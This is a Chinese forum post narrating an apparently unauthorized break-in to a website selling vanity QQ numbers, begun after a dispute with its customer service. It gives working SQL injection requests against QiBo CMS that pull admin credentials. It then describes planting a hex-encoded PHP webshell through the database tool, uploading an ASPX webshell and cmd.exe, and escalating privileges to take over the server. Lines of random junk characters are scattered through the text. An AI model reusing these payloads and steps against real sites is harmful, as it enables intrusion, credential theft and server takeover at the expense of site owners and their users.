|
2 ` w3 v# K0 h
/ z: {& q1 a J8 b4 ]( Z2 l
. h4 D3 A4 J7 p" g+ h! a; Y* p
$ [$ l4 O/ S+ F& I8 E 一、踩点寻找漏洞
5 x% ]+ [* q% w& K. l8 r闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
6 p( N6 z: z8 o3 |* U" W
随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
# P; e2 I3 {# P% l( Y9 Z先注册一个用户，记住注册时候的邮箱以uid号，
8 s9 C- ?1 {; k6 |8 q- \: s
4 H* k8 a3 ?1 q+ C' Q; r# `" y
' ]( @ `2 d( c- O4 U& O: a$ U
然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
& t5 a0 S7 C* m5 @" w
* \# Q9 G7 I5 Rtruename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
7 O% c, {2 r$ X0 G6 `: l这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
$ |! u, r: s0 m3 A5 N( o
4 [5 C# I9 F- I1 d( x, v
确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
( C/ m5 f: l6 H$ ?! x
# H8 B. L+ Y- k' H* S
# S* H3 L2 P3 N- S, G" J. P. b解密进后台如图：
. s/ C% f/ q4 N u) w d9 p! y: ~5 Y" m
8 _; X% p3 q4 a! E
7 Q& h4 a' D, k$ v p
; x9 C* ?8 a! P9 K/ v4 C3 \* w
二、后台getwebshell
7 u- i& G7 l3 l0 s
进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
0 S) k6 T* i, _( \- W; D- ~: u2 g" L' Q
3 }: {$ K$ X7 k8 c2 S( M* }4 n
m, ^9 M1 Y) u: \. C& z9 S$ c$ _
, }- L7 ^$ y1 k" j2 z% A' G2 P然后点确定，添加提示
! z3 [7 h) P2 P! [ I
]' K9 H% \) y; G3 B
9 K7 v/ p7 |# ~6 ~& I0 j
, `/ B+ X* n0 L
由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
1 g& \! |0 G+ d' ^
3 o, d& J/ d% ?( G0 [5 a3 }( Y
. a j+ y- m( Z; t2 w改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
4 e8 B9 _/ i* }+ V6 T+ L- Z* p7 B
如图：
* c J% \4 s8 M+ R. V I
/ A& j% U& p: h- J' Q
8 M* O; U' c' Y" n0 v# }
2 V. q( [5 l. Z
之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
$ A& X, V9 R1 f; M F0 r- M8 }
0 k! G- R# p+ ^ \! }7 N
5 M) y8 f0 m- \9 v. T" |
" @. S' |, Y) }0 Z- F0 c* p6 e
三、提权进服务器
. v5 @* I7 w, M( P7 X! J# q- Y经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
: z+ V0 o( G9 y, B1 d
9 F- d2 w( f( m4 }" P
. H9 O) {: J$ E$ Z. v- j j5 ]
啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
9 D0 v. k. w1 v4 F" t) v
; v2 C4 O' m# U
9 j5 C$ ^3 x* F+ ?
然后登陆服务器如图：
: @2 g- x) M2 U* G% L
' L$ f; R1 x1 h8 F* D
3 z1 z) L. F0 q' w* C + `6 J* G8 P7 x5 t
3 Y, s$ u3 Q& b% y! V: ^
' h" w" s- L1 F6 B8 @
难怪普通刀连接不上，原来是有狗。
! h& s1 S& d7 O! l4 v* `+ Q
2 h5 A- [9 ?: b9 [/ T7 r( k" p; i8 ~
! Z; B# u5 A; v; c0 J
G. M# j. ^. H# t( s
* |2 z& E$ q2 |/ V0 N) Y! H8 \/ N
& Z% m$ g4 C1 U6 x
) q! y1 J8 Q6 O9 S Y
| 
发表于 2018-10-20 20:08:47
收藏
支持
反对